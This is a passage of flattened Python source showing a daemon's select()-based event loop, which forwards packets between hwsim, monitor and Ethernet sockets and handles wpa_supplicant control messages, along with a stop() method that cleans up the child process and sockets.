len(self.wpaspy_pending) > 0: self.handle_wpaspy(self.wpaspy_pending.pop()) sel = select.select(sockets, [], [], 0.5) if self.sock_hwsim in sel[0]: p = self.sock_hwsim.recv() if p != None: self.forward_hwsim(p, self.sock_mon) if self.sock_mon in sel[0]: p = self.sock_mon.recv() if p != None: self.handle_mon(p) if self.sock_hwsim: self.forward_hwsim(p, self.sock_hwsim) if self.sock_eth in sel[0]: p = self.sock_eth.recv() if p != None and Ether in p: self.handle_eth(p) if self.wpaspy_ctrl.s in sel[0]: msg = self.wpaspy_ctrl.recv() self.handle_wpaspy(msg) self.time_tick() def stop(self): log(STATUS, "Closing daemon and cleaning up ...") if self.process: self.process.terminate() self.process.wait() if self.sock_eth: self.sock_eth.close() if self.sock_mon: self.sock_mon.close()